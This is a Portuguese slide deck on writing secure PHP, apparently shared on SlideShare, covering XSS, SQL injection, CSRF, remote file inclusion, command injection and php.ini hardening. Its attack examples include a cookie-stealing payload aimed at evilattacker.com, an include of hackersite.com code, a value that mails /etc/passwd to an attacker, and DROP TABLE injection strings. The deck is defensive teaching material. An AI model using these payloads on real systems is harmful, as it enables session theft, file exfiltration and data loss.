SlideShare une entreprise Scribd logo
1  sur  90
Télécharger pour lire hors ligne
Escrevendo códigos PHP 
Seguros 
Douglas V. Pasqua 
http://douglaspasqua.com
Introdução 
● Príncios de segurança para aplicativos web. 
● As consequencias de códigos inseguros. 
● Regras básicas de Segurança.
Vulnerabilidades / Tipos de Ataques 
● SQL Injections 
● XSS 
● Remote Code Injection 
● Command Inection 
● XSRF / CSRF 
● Sessions 
● File Uploads
Outros 
● senhas e hashs 
● configurações de segurança (php.ini)
Introdução Segurança 
● Uma das coisas mais importantes que o 
desenvolvedor deve-se atentar.
Introdução Segurança 
● Infelizmente a maioria dos desenvolvedores 
falham na questão de segurança, 
comprometendo dezenas e até milhares de 
linhas de códigos.
Consequências
Consequências 
● DOS (Denial Of Service). 
● Roubo de informações confidenciais. 
● Danificar banco de dados. 
● Roubo de sessão do usuário. 
● Comprometer a aplicação.
Regras básicas 
● Filtrar dados de Input 
● Filtrar dados de Output
Filtrar dados de Input 
● Não se deve confiar nos dados provenientes 
do usuário. 
● Toda informação oriunda do usuário deve 
ser filtrada/validada antes do uso.
Filtrar dados de Input 
● $_GET 
● $_POST 
● $_COOKIE
Tipo de dados ? 
● E-Mail 
● Numérico 
● URL 
● IP 
● Data de aniversário 
● Endereço 
● Telefone
Exemplo: filtrando campo numérico 
<?php 
if (isset($_GET["value"])) { 
$value = $_GET["value"]; 
} 
else { 
$value = false; 
} 
if (is_numeric($value) && ($value >= 15 && $value <= 20)) { 
// ok 
}
Exemplo: filtrando campo numérico 
<?php 
$value = filter_input(INPUT_GET, "value", FILTER_VALIDATE_INT, 
array("options" => array( 
"min_range" => 15, 
"max_range" => 20 
))); 
if($value) { 
// valido 
}
filter_input 
● FILTER_VALIDATE_BOOLEAN 
● FILTER_VALIDATE_EMAIL 
● FILTER_VALIDATE_FLOAT 
● FILTER_VALIDATE_INT 
● FILTER_VALIDATE_IP 
● FILTER_VALIDATE_REGEXP 
● FILTER_VALIDATE_URL
filter_input 
http://php.net/filter_input
Filtrando dados de Saída 
● Dados de saída devem ser tratados de 
acordo com o meio. 
○ HTML 
○ Javascript 
○ XML 
○ SQL
Filtrando dados de saída 
<?php 
echo "<a href="$url">$name</a>";
Filtrando dados de Saída 
<a href="<?php echo htmlspecialchars($url, ENT_COMPAT, 'utf-8'); ?>"> 
<?php echo htmlspecialchars($name, ENT_NOQUOTES, 'utf-8'); ?> 
</a>
htmlspecialchars() 
Caracter Nome Código 
< menor que &lt; 
> maior que &gt; 
& E comercial &amp; 
“ aspas duplas &quot; 
http://php.net/htmlspecialchars
XSS (Cross Site Scripting)
XSS (Cross-site-scripting) 
● É um tipo de ataque que permite injetar 
códigos (javascript) maliciosos em sites 
“confiáveis”. 
● Explora a confiança que o usuário tem no 
site.
XSS (Cross-site-scripting) 
● Roubo de cookies e informações de sessão. 
● Disparar requisições HTTP na sessão do 
usuário. 
● Redirecionar o usuário para sites maliciosos. 
● Instalar malware
XSS Exemplo - Não Persistente 
<?php 
// Gera resultados baseado em parametro via GET 
echo "Você esta buscando por: " . $_GET["query"];
XSS Exemplo - Não Persistente 
<?php 
// Gera resultados baseado em parametro via GET 
echo "Você esta buscando por: " . $_GET["query"]; 
http://example.com/search.php?query=<script>alert("hacked")</script>
XSS Exemplo - Não Persistente 
<?php 
// Gera resultados baseado em parametro via GET 
echo "Você esta buscando por: " . $_GET["query"]; 
http://example.com/search.php?query=<script>alert("hacked")</script> 
Você esta buscando por: <script>alert("hacked")</script>
XSS Exemplo - Persistente 
$email = "document.write('<iframe src=” 
http://evilattacker.com?cookie=' + document.cookie.escape()” 
height=”0” width=”0” />')"; 
E-mail: <?php echo $email; ?>
XSS - Prevenção 
● Validando dados de input
XSS - Prevenção 
● Sanitização 
<?php 
// sanitize HTML 
$query = strip_tags($_GET["query"]);
XSS - Prevenção 
● Output Escaping 
<?php 
// Gera resultados baseado em parametro via GET 
echo "Você esta buscando por: " . htmlspecialchars($_GET["query"]);
SQL Injection
SQL Injection 
● Permite manipulação de consultas SQL 
○ passar por controles de acesso e autenticação. 
○ expor dados escondidos. 
○ sobrescrita de dados. 
○ exclusão de dados. 
○ execução de comandos no S.O.
SQL Injection 
$sql = "SELECT * FROM users WHERE name 
='$nome'";
SQL Injection 
' or '1'='1 
SELECT * FROM users WHERE name ='' OR '1'='1'; 
' or '1'='1' -- 
SELECT * FROM users WHERE name ='' OR '1'='1' --';
SQL Injection 
a';DROP TABLE users; -- 
SELECT * FROM users WHERE name ='a';DROP TABLE 
users; --';
SQL Injection - Protegendo-se 
<?php 
$stmt = $dbh->prepare("SELECT * FROM users WHERE name = :name"); 
$stmt->bindParam(':name', $txtName); 
$stmt->execute(); 
● Suporte: 
○ mysqli 
○ PDO
SQL Injection - Protegendo-se 
<?php 
$name = mysql_real_escape_string($name); 
$sql = "SELECT * FROM users WHERE name ='$name'"; 
● Usar no caso de extensão padrão do Mysql para PHP
CSRF (Cross-Site-Request-Forgery)
CSRF - Definição 
Site malicioso dispara uma requisição/ação 
não desejada para um outro site no qual o 
usuário esteja logado.
CSRF - Exemplos de ações 
● Alterar a senha do usuário no site 
● Realizar transferências bancárias 
● Submissão de formulários
CSRF - Principais focos 
● Webmail 
● Redes sociais 
● Bancos 
● Sistemas de pagamento online
CSRF - Exemplos de Prevênção 
● Captcha 
● Verificar o Header "Referer" 
● Token Sincronizado
CSRF - Token 
<?php 
$randomtoken = base64_encode(openssl_random_pseudo_bytes(32));
CSRF - Token 
<?php 
$randomtoken = base64_encode(openssl_random_pseudo_bytes(32)); 
$_SESSION['csrfToken'] = $randomtoken;
CSRF - Token 
<form> 
... 
<input type=’hidden’ name=’csrfToken’ 
value=’<?php echo($_SESSION['csrfTOken']) ?>’ /> 
... 
</form>
CSRF 
● O Token CSRF é único por sessão. 
● Utilize o token em todos formulários 
considerados “críticos”.
Remote Code Injection
Remote code injection 
● Permite o atacante injetar códigos externos 
no fluxo de execução do script php. 
● Explora: 
○ include 
○ require
Remote code injection 
<?php 
include($_GET["page"]); 
?>
Remote code injection 
<?php 
include($_GET["page"]); 
?> 
www.website.com/carrega.php?page=/dir-escondido/senhas. 
txt
Remote code injection 
<?php 
include($_GET["page"]); 
?> 
www.website.com/carrega.php?page=/upload-dir/arquivo.php
Remote code injection 
<?php 
include($_GET["page"]); 
?> 
www.website.com/carrega.php?page=http://hackersite.com/file.inc
Remote code injection - Proteção 
<?php 
$whitelist = array('home', 'about'); 
if (in_array($_GET['page'], $whitelist)) { 
include($_GET['page'].'.php'); 
} else { 
include('home.php'); 
}
Command Injection
Command Injection 
● Permite o atacante injetar códigos shell 
maliciosos. 
● Normalmente quando você usa o input do 
usuário para criar um comando shell.
Command Injection 
<?php 
echo shell_exec('cat '.$_GET['filename']); 
?>
Command Injection 
<?php 
echo shell_exec('cat '.$_GET['filename']); 
?> 
www.website.com/viewfile.php?filename=file.txt;ls
Command Injection 
<?php 
echo shell_exec('cat '. $_GET['filename']); 
?> 
www.website.com/viewfile.php?filename=file.txt;mail 
attacker@attacker.org </etc/passwd
Command Injection - Proteção 
<?php 
echo shell_exec('cat '. escapeshellarg($_GET['filename']));
Command Injection - Proteção 
<?php 
echo shell_exec('cat '. escapeshellarg($_GET['filename'])); 
OR 
echo shell_exec(escapeshellcmd('cat '. $_GET['filename']));
Segurança de Sessão
Segurança de Sessão 
● Flag httponly, php.ini: 
session.cookie_httponly = 1 
Marca o cookie de sessão do PHP com httponly. Isso faz 
com que o novageador não exponha o valor deste cookie 
via javascript.
Segurança de Sessão 
● Flag use_only_cookies, php.ini: 
session.use_only_cookies = 1 
Desabilita a possiblidade de setar o ID da sesssão via GET.
Segurança de Sessão 
● Flag cookie_secure, php.ini: 
session.cookie_secure = 1 
Assegura que o cookie de sessão seja transmitido apenas 
por conexão segura.
Session hijacking 
<?php 
session_start(); 
if (isset($_SESSION['HTTP_USER_AGENT'])) { 
if ($_SESSION['HTTP_USER_AGENT'] != md5($_SERVER['HTTP_USER_AGENT'])) { 
/* Prompt for password */ 
exit; 
} 
} else { 
$_SESSION['HTTP_USER_AGENT'] = md5($_SERVER['HTTP_USER_AGENT']); 
}
Upload de Arquivos
Upload de arquivos - Dicas 
Armazene os arquivos enviados fora do 
diretório raiz do app web.
Upload de arquivos - Dicas 
Não confie cegamente no Content-Type, para 
definir que um arquivo seja realmente uma 
imagem.
Upload de arquivos - Dicas 
<?php 
$imageinfo = getimagesize($_FILES['userfile']['tmp_name']); 
if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg') { 
echo "Desculpe, são aceitos somente imagens GIF e JPEGn"; 
exit; 
}
Upload de arquivos - Dicas 
Não armazene os arquivos usando o nome 
original configurado no formulário. Gere um 
nome randômico ao salvar.
Hash e Senhas
hash e senhas 
Sempre usar hash para armazenar senhas em 
banco de dados.
hash e senhas 
md5(), sha1() ?
hash e senhas 
password_hash(), crypt() ?
password_hash() 
● >= PHP 5.5 
● Utiliza o algoritimo BCrypt 
● Compatível com a função crypt()
password_hash() 
<?php 
// geração do hash 
$hash = password_hash($senha, PASSWORD_DEFAULT); 
// verificando se o hash corresponde 
if (password_verify($password, $hash)) { 
// Sucesso! 
} 
else { 
// Credenciais Inválidas 
}
password_hash() 
● utilizar capacidade de 255 caracteres 
● salt e cost são gerados pela API
Parâmetros no php.ini
php.ini 
● expose_php = off
php.ini 
● expose_php = off 
HTTP/1.1 200 OK 
X-Powered-By: PHP/5.3.3 
Content-type: text/html; charset=UTF-8
php.ini 
● display_errors = off
php.ini 
● display_errors = off 
log_errors=On 
error_log=/var/log/apache/php_error.log
php.ini 
● allow_url_fopen = off
php.ini 
● allow_url_fopen = off 
previne remote code injections 
(include/require/file_get_contents)
php.ini 
● max_execution_time = 30 
● memory_limit = 40M
php.ini 
● max_execution_time = 30 
● memory_limit = 40M 
Evita ataques DOS
php.ini 
● disable_functions = exec,passthru, 
shell_exec,system,proc_open,popen, 
curl_exec,curl_multi_exec,parse_ini_file, 
show_source
php.ini 
● open_basedir="/var/www/"
php.ini 
● open_basedir="/var/www/" 
restringe o diretório onde o php pode 
manipular arquivos
Perguntas ? 
douglas.pasqua@gmail.com 
http://www.douglaspasqua.com 
twitter: @dpasqua

Contenu connexe

Tendances

Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)Amit Tyagi
 
Pentesting like a grandmaster BSides London 2013
Pentesting like a grandmaster BSides London 2013Pentesting like a grandmaster BSides London 2013
Pentesting like a grandmaster BSides London 2013Abraham Aranguren
 
SQLMAP Tool Usage - A Heads Up
SQLMAP Tool Usage - A  Heads UpSQLMAP Tool Usage - A  Heads Up
SQLMAP Tool Usage - A Heads UpMindfire Solutions
 
Dom based xss
Dom based xssDom based xss
Dom based xssLê Giáp
 
Gareth hayes. non alphanumeric javascript-php and shared fuzzing
Gareth hayes. non alphanumeric javascript-php and shared fuzzingGareth hayes. non alphanumeric javascript-php and shared fuzzing
Gareth hayes. non alphanumeric javascript-php and shared fuzzingYury Chemerkin
 
Penetration testing
Penetration testingPenetration testing
Penetration testingAmmar WK
 
Ethical hacking mind map
Ethical hacking mind mapEthical hacking mind map
Ethical hacking mind mapdasdwwe1
 
Hunting malware with volatility v2.0
Hunting malware with volatility v2.0Hunting malware with volatility v2.0
Hunting malware with volatility v2.0Frank Boldewin
 
CNIT 129S: Ch 3: Web Application Technologies
CNIT 129S: Ch 3: Web Application TechnologiesCNIT 129S: Ch 3: Web Application Technologies
CNIT 129S: Ch 3: Web Application TechnologiesSam Bowne
 
Waf bypassing Techniques
Waf bypassing TechniquesWaf bypassing Techniques
Waf bypassing TechniquesAvinash Thapa
 
PHP unserialization vulnerabilities: What are we missing?
PHP unserialization vulnerabilities: What are we missing?PHP unserialization vulnerabilities: What are we missing?
PHP unserialization vulnerabilities: What are we missing?Sam Thomas
 
Top 10 Web Security Vulnerabilities
Top 10 Web Security VulnerabilitiesTop 10 Web Security Vulnerabilities
Top 10 Web Security VulnerabilitiesCarol McDonald
 
SpecterOps Webinar Week - Kerberoasting Revisisted
SpecterOps Webinar Week - Kerberoasting RevisistedSpecterOps Webinar Week - Kerberoasting Revisisted
SpecterOps Webinar Week - Kerberoasting RevisistedWill Schroeder
 

Tendances (20)

Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)
 
File handling
File handlingFile handling
File handling
 
Pentesting like a grandmaster BSides London 2013
Pentesting like a grandmaster BSides London 2013Pentesting like a grandmaster BSides London 2013
Pentesting like a grandmaster BSides London 2013
 
Input Validation
Input ValidationInput Validation
Input Validation
 
Security in NodeJS applications
Security in NodeJS applicationsSecurity in NodeJS applications
Security in NodeJS applications
 
SQLMAP Tool Usage - A Heads Up
SQLMAP Tool Usage - A  Heads UpSQLMAP Tool Usage - A  Heads Up
SQLMAP Tool Usage - A Heads Up
 
Dom based xss
Dom based xssDom based xss
Dom based xss
 
Defending Your "Gold"
Defending Your "Gold"Defending Your "Gold"
Defending Your "Gold"
 
Gareth hayes. non alphanumeric javascript-php and shared fuzzing
Gareth hayes. non alphanumeric javascript-php and shared fuzzingGareth hayes. non alphanumeric javascript-php and shared fuzzing
Gareth hayes. non alphanumeric javascript-php and shared fuzzing
 
IDOR Know-How.pdf
IDOR Know-How.pdfIDOR Know-How.pdf
IDOR Know-How.pdf
 
Penetration testing
Penetration testingPenetration testing
Penetration testing
 
Ethical hacking mind map
Ethical hacking mind mapEthical hacking mind map
Ethical hacking mind map
 
Hunting malware with volatility v2.0
Hunting malware with volatility v2.0Hunting malware with volatility v2.0
Hunting malware with volatility v2.0
 
CNIT 129S: Ch 3: Web Application Technologies
CNIT 129S: Ch 3: Web Application TechnologiesCNIT 129S: Ch 3: Web Application Technologies
CNIT 129S: Ch 3: Web Application Technologies
 
Building Advanced XSS Vectors
Building Advanced XSS VectorsBuilding Advanced XSS Vectors
Building Advanced XSS Vectors
 
Waf bypassing Techniques
Waf bypassing TechniquesWaf bypassing Techniques
Waf bypassing Techniques
 
PHP unserialization vulnerabilities: What are we missing?
PHP unserialization vulnerabilities: What are we missing?PHP unserialization vulnerabilities: What are we missing?
PHP unserialization vulnerabilities: What are we missing?
 
Top 10 Web Security Vulnerabilities
Top 10 Web Security VulnerabilitiesTop 10 Web Security Vulnerabilities
Top 10 Web Security Vulnerabilities
 
Sql injection
Sql injectionSql injection
Sql injection
 
SpecterOps Webinar Week - Kerberoasting Revisisted
SpecterOps Webinar Week - Kerberoasting RevisistedSpecterOps Webinar Week - Kerberoasting Revisisted
SpecterOps Webinar Week - Kerberoasting Revisisted
 

En vedette

Dicas para sua carreira de Desenvolvedor PHP
Dicas para sua carreira de Desenvolvedor PHPDicas para sua carreira de Desenvolvedor PHP
Dicas para sua carreira de Desenvolvedor PHPDouglas V. Pasqua
 
PostgreSQL Tuning: O elefante mais rápido que um leopardo
PostgreSQL Tuning: O elefante mais rápido que um leopardoPostgreSQL Tuning: O elefante mais rápido que um leopardo
PostgreSQL Tuning: O elefante mais rápido que um leopardoFabio Telles Rodriguez
 
CJR Apresenta: OWASP TOP10
CJR Apresenta: OWASP TOP10CJR Apresenta: OWASP TOP10
CJR Apresenta: OWASP TOP10CJR, UnB
 
Análise de performance usando as estatísticas do PostgreSQL
Análise de performance usando as estatísticas do PostgreSQLAnálise de performance usando as estatísticas do PostgreSQL
Análise de performance usando as estatísticas do PostgreSQLMatheus de Oliveira
 

En vedette (6)

Segurança Web com PHP5
Segurança Web com PHP5Segurança Web com PHP5
Segurança Web com PHP5
 
Postgres Tuning
Postgres TuningPostgres Tuning
Postgres Tuning
 
Dicas para sua carreira de Desenvolvedor PHP
Dicas para sua carreira de Desenvolvedor PHPDicas para sua carreira de Desenvolvedor PHP
Dicas para sua carreira de Desenvolvedor PHP
 
PostgreSQL Tuning: O elefante mais rápido que um leopardo
PostgreSQL Tuning: O elefante mais rápido que um leopardoPostgreSQL Tuning: O elefante mais rápido que um leopardo
PostgreSQL Tuning: O elefante mais rápido que um leopardo
 
CJR Apresenta: OWASP TOP10
CJR Apresenta: OWASP TOP10CJR Apresenta: OWASP TOP10
CJR Apresenta: OWASP TOP10
 
Análise de performance usando as estatísticas do PostgreSQL
Análise de performance usando as estatísticas do PostgreSQLAnálise de performance usando as estatísticas do PostgreSQL
Análise de performance usando as estatísticas do PostgreSQL
 

Similaire à Escrevendo códigos php seguros

Segurança PHP - por Samyr Abdo
Segurança PHP - por Samyr AbdoSegurança PHP - por Samyr Abdo
Segurança PHP - por Samyr AbdoSamyr Abdo
 
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...Rafael Jaques
 
Palestra de segurança em PHP - Hacking
Palestra de segurança em PHP - HackingPalestra de segurança em PHP - Hacking
Palestra de segurança em PHP - HackingLuis Gustavo Almeida
 
InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...
InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...
InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...iMasters
 
Segurança (in portuguese)
Segurança (in portuguese)Segurança (in portuguese)
Segurança (in portuguese)Bruno Pedro
 
LabMM4 (T22 - 12/13) - segurança
LabMM4 (T22 - 12/13) - segurançaLabMM4 (T22 - 12/13) - segurança
LabMM4 (T22 - 12/13) - segurançaCarlos Santos
 
Play Framework - FLISOL
Play Framework - FLISOLPlay Framework - FLISOL
Play Framework - FLISOLgrupoweblovers
 
Aprendendo a atacar (e proteger) aplicações web através de jogos de guerra
Aprendendo a atacar (e proteger) aplicações web através de jogos de guerraAprendendo a atacar (e proteger) aplicações web através de jogos de guerra
Aprendendo a atacar (e proteger) aplicações web através de jogos de guerraClavis Segurança da Informação
 
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEBFIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEBErick Belluci Tedeschi
 
Como Perder Peso (no browser)
Como Perder Peso (no browser)Como Perder Peso (no browser)
Como Perder Peso (no browser)Zeno Rocha
 
PHP like a super hero
PHP like a super heroPHP like a super hero
PHP like a super heroElton Minetto
 
Crawling - Coleta de dados na Web com PHP
Crawling - Coleta de dados na Web com PHP Crawling - Coleta de dados na Web com PHP
Crawling - Coleta de dados na Web com PHP Luis Gustavo Almeida
 

Similaire à Escrevendo códigos php seguros (20)

Hello SAFE World!!!
Hello SAFE World!!!Hello SAFE World!!!
Hello SAFE World!!!
 
Segurança PHP - por Samyr Abdo
Segurança PHP - por Samyr AbdoSegurança PHP - por Samyr Abdo
Segurança PHP - por Samyr Abdo
 
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...
 
Segurança Web: O MMA da Tecnologia
Segurança Web: O MMA da TecnologiaSegurança Web: O MMA da Tecnologia
Segurança Web: O MMA da Tecnologia
 
Palestra de segurança em PHP - Hacking
Palestra de segurança em PHP - HackingPalestra de segurança em PHP - Hacking
Palestra de segurança em PHP - Hacking
 
InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...
InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...
InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...
 
Segurança (in portuguese)
Segurança (in portuguese)Segurança (in portuguese)
Segurança (in portuguese)
 
PHP MySQL Aula 07
PHP MySQL Aula 07PHP MySQL Aula 07
PHP MySQL Aula 07
 
LabMM4 (T22 - 12/13) - segurança
LabMM4 (T22 - 12/13) - segurançaLabMM4 (T22 - 12/13) - segurança
LabMM4 (T22 - 12/13) - segurança
 
Sql injection
Sql injectionSql injection
Sql injection
 
Play Framework - FLISOL
Play Framework - FLISOLPlay Framework - FLISOL
Play Framework - FLISOL
 
Aprendendo a atacar (e proteger) aplicações web através de jogos de guerra
Aprendendo a atacar (e proteger) aplicações web através de jogos de guerraAprendendo a atacar (e proteger) aplicações web através de jogos de guerra
Aprendendo a atacar (e proteger) aplicações web através de jogos de guerra
 
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEBFIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
 
Segurança PHP em 2016
Segurança PHP em 2016Segurança PHP em 2016
Segurança PHP em 2016
 
Como Perder Peso (no browser)
Como Perder Peso (no browser)Como Perder Peso (no browser)
Como Perder Peso (no browser)
 
PHP like a super hero
PHP like a super heroPHP like a super hero
PHP like a super hero
 
Python 08
Python 08Python 08
Python 08
 
Web App Flaws - SQL Injection
Web App Flaws - SQL InjectionWeb App Flaws - SQL Injection
Web App Flaws - SQL Injection
 
PHP FrameWARks - FISL
PHP FrameWARks - FISLPHP FrameWARks - FISL
PHP FrameWARks - FISL
 
Crawling - Coleta de dados na Web com PHP
Crawling - Coleta de dados na Web com PHP Crawling - Coleta de dados na Web com PHP
Crawling - Coleta de dados na Web com PHP
 

Plus de Douglas V. Pasqua

Graph API - Desenvolvimento para Facebook
Graph API - Desenvolvimento para FacebookGraph API - Desenvolvimento para Facebook
Graph API - Desenvolvimento para FacebookDouglas V. Pasqua
 
Unicode: Os segredos da Codificação de Caracteres
Unicode: Os segredos da Codificação de CaracteresUnicode: Os segredos da Codificação de Caracteres
Unicode: Os segredos da Codificação de CaracteresDouglas V. Pasqua
 
Tuning Apache/MySQL/PHP para desenvolvedores
Tuning Apache/MySQL/PHP para desenvolvedoresTuning Apache/MySQL/PHP para desenvolvedores
Tuning Apache/MySQL/PHP para desenvolvedoresDouglas V. Pasqua
 
Novas Funcionalidade no PHP 5.3
Novas Funcionalidade no PHP 5.3Novas Funcionalidade no PHP 5.3
Novas Funcionalidade no PHP 5.3Douglas V. Pasqua
 

Plus de Douglas V. Pasqua (7)

Graph API - Desenvolvimento para Facebook
Graph API - Desenvolvimento para FacebookGraph API - Desenvolvimento para Facebook
Graph API - Desenvolvimento para Facebook
 
Web Services RESTful
Web Services RESTfulWeb Services RESTful
Web Services RESTful
 
Introdução APIs RESTful
Introdução APIs RESTfulIntrodução APIs RESTful
Introdução APIs RESTful
 
Unicode: Os segredos da Codificação de Caracteres
Unicode: Os segredos da Codificação de CaracteresUnicode: Os segredos da Codificação de Caracteres
Unicode: Os segredos da Codificação de Caracteres
 
The Facebook Plataform
The Facebook PlataformThe Facebook Plataform
The Facebook Plataform
 
Tuning Apache/MySQL/PHP para desenvolvedores
Tuning Apache/MySQL/PHP para desenvolvedoresTuning Apache/MySQL/PHP para desenvolvedores
Tuning Apache/MySQL/PHP para desenvolvedores
 
Novas Funcionalidade no PHP 5.3
Novas Funcionalidade no PHP 5.3Novas Funcionalidade no PHP 5.3
Novas Funcionalidade no PHP 5.3
 

Escrevendo códigos php seguros

  • 1. Escrevendo códigos PHP Seguros Douglas V. Pasqua http://douglaspasqua.com
  • 2. Introdução ● Príncios de segurança para aplicativos web. ● As consequencias de códigos inseguros. ● Regras básicas de Segurança.
  • 3. Vulnerabilidades / Tipos de Ataques ● SQL Injections ● XSS ● Remote Code Injection ● Command Inection ● XSRF / CSRF ● Sessions ● File Uploads
  • 4. Outros ● senhas e hashs ● configurações de segurança (php.ini)
  • 5. Introdução Segurança ● Uma das coisas mais importantes que o desenvolvedor deve-se atentar.
  • 6. Introdução Segurança ● Infelizmente a maioria dos desenvolvedores falham na questão de segurança, comprometendo dezenas e até milhares de linhas de códigos.
  • 8. Consequências ● DOS (Denial Of Service). ● Roubo de informações confidenciais. ● Danificar banco de dados. ● Roubo de sessão do usuário. ● Comprometer a aplicação.
  • 9. Regras básicas ● Filtrar dados de Input ● Filtrar dados de Output
  • 10. Filtrar dados de Input ● Não se deve confiar nos dados provenientes do usuário. ● Toda informação oriunda do usuário deve ser filtrada/validada antes do uso.
  • 11. Filtrar dados de Input ● $_GET ● $_POST ● $_COOKIE
  • 12. Tipo de dados ? ● E-Mail ● Numérico ● URL ● IP ● Data de aniversário ● Endereço ● Telefone
  • 13. Exemplo: filtrando campo numérico <?php if (isset($_GET["value"])) { $value = $_GET["value"]; } else { $value = false; } if (is_numeric($value) && ($value >= 15 && $value <= 20)) { // ok }
  • 14. Exemplo: filtrando campo numérico <?php $value = filter_input(INPUT_GET, "value", FILTER_VALIDATE_INT, array("options" => array( "min_range" => 15, "max_range" => 20 ))); if($value) { // valido }
  • 15. filter_input ● FILTER_VALIDATE_BOOLEAN ● FILTER_VALIDATE_EMAIL ● FILTER_VALIDATE_FLOAT ● FILTER_VALIDATE_INT ● FILTER_VALIDATE_IP ● FILTER_VALIDATE_REGEXP ● FILTER_VALIDATE_URL
  • 17. Filtrando dados de Saída ● Dados de saída devem ser tratados de acordo com o meio. ○ HTML ○ Javascript ○ XML ○ SQL
  • 18. Filtrando dados de saída <?php echo "<a href="$url">$name</a>";
  • 19. Filtrando dados de Saída <a href="<?php echo htmlspecialchars($url, ENT_COMPAT, 'utf-8'); ?>"> <?php echo htmlspecialchars($name, ENT_NOQUOTES, 'utf-8'); ?> </a>
  • 20. htmlspecialchars() Caracter Nome Código < menor que &lt; > maior que &gt; & E comercial &amp; “ aspas duplas &quot; http://php.net/htmlspecialchars
  • 21. XSS (Cross Site Scripting)
  • 22. XSS (Cross-site-scripting) ● É um tipo de ataque que permite injetar códigos (javascript) maliciosos em sites “confiáveis”. ● Explora a confiança que o usuário tem no site.
  • 23. XSS (Cross-site-scripting) ● Roubo de cookies e informações de sessão. ● Disparar requisições HTTP na sessão do usuário. ● Redirecionar o usuário para sites maliciosos. ● Instalar malware
  • 24. XSS Exemplo - Não Persistente <?php // Gera resultados baseado em parametro via GET echo "Você esta buscando por: " . $_GET["query"];
  • 25. XSS Exemplo - Não Persistente <?php // Gera resultados baseado em parametro via GET echo "Você esta buscando por: " . $_GET["query"]; http://example.com/search.php?query=<script>alert("hacked")</script>
  • 26. XSS Exemplo - Não Persistente <?php // Gera resultados baseado em parametro via GET echo "Você esta buscando por: " . $_GET["query"]; http://example.com/search.php?query=<script>alert("hacked")</script> Você esta buscando por: <script>alert("hacked")</script>
  • 27. XSS Exemplo - Persistente $email = "document.write('<iframe src=” http://evilattacker.com?cookie=' + document.cookie.escape()” height=”0” width=”0” />')"; E-mail: <?php echo $email; ?>
  • 28. XSS - Prevenção ● Validando dados de input
  • 29. XSS - Prevenção ● Sanitização <?php // sanitize HTML $query = strip_tags($_GET["query"]);
  • 30. XSS - Prevenção ● Output Escaping <?php // Gera resultados baseado em parametro via GET echo "Você esta buscando por: " . htmlspecialchars($_GET["query"]);
  • 32. SQL Injection ● Permite manipulação de consultas SQL ○ passar por controles de acesso e autenticação. ○ expor dados escondidos. ○ sobrescrita de dados. ○ exclusão de dados. ○ execução de comandos no S.O.
  • 33. SQL Injection $sql = "SELECT * FROM users WHERE name ='$nome'";
  • 34. SQL Injection ' or '1'='1 SELECT * FROM users WHERE name ='' OR '1'='1'; ' or '1'='1' -- SELECT * FROM users WHERE name ='' OR '1'='1' --';
  • 35. SQL Injection a';DROP TABLE users; -- SELECT * FROM users WHERE name ='a';DROP TABLE users; --';
  • 36. SQL Injection - Protegendo-se <?php $stmt = $dbh->prepare("SELECT * FROM users WHERE name = :name"); $stmt->bindParam(':name', $txtName); $stmt->execute(); ● Suporte: ○ mysqli ○ PDO
  • 37. SQL Injection - Protegendo-se <?php $name = mysql_real_escape_string($name); $sql = "SELECT * FROM users WHERE name ='$name'"; ● Usar no caso de extensão padrão do Mysql para PHP
  • 39. CSRF - Definição Site malicioso dispara uma requisição/ação não desejada para um outro site no qual o usuário esteja logado.
  • 40. CSRF - Exemplos de ações ● Alterar a senha do usuário no site ● Realizar transferências bancárias ● Submissão de formulários
  • 41. CSRF - Principais focos ● Webmail ● Redes sociais ● Bancos ● Sistemas de pagamento online
  • 42. CSRF - Exemplos de Prevênção ● Captcha ● Verificar o Header "Referer" ● Token Sincronizado
  • 43. CSRF - Token <?php $randomtoken = base64_encode(openssl_random_pseudo_bytes(32));
  • 44. CSRF - Token <?php $randomtoken = base64_encode(openssl_random_pseudo_bytes(32)); $_SESSION['csrfToken'] = $randomtoken;
  • 45. CSRF - Token <form> ... <input type=’hidden’ name=’csrfToken’ value=’<?php echo($_SESSION['csrfTOken']) ?>’ /> ... </form>
  • 46. CSRF ● O Token CSRF é único por sessão. ● Utilize o token em todos formulários considerados “críticos”.
  • 48. Remote code injection ● Permite o atacante injetar códigos externos no fluxo de execução do script php. ● Explora: ○ include ○ require
  • 49. Remote code injection <?php include($_GET["page"]); ?>
  • 50. Remote code injection <?php include($_GET["page"]); ?> www.website.com/carrega.php?page=/dir-escondido/senhas. txt
  • 51. Remote code injection <?php include($_GET["page"]); ?> www.website.com/carrega.php?page=/upload-dir/arquivo.php
  • 52. Remote code injection <?php include($_GET["page"]); ?> www.website.com/carrega.php?page=http://hackersite.com/file.inc
  • 53. Remote code injection - Proteção <?php $whitelist = array('home', 'about'); if (in_array($_GET['page'], $whitelist)) { include($_GET['page'].'.php'); } else { include('home.php'); }
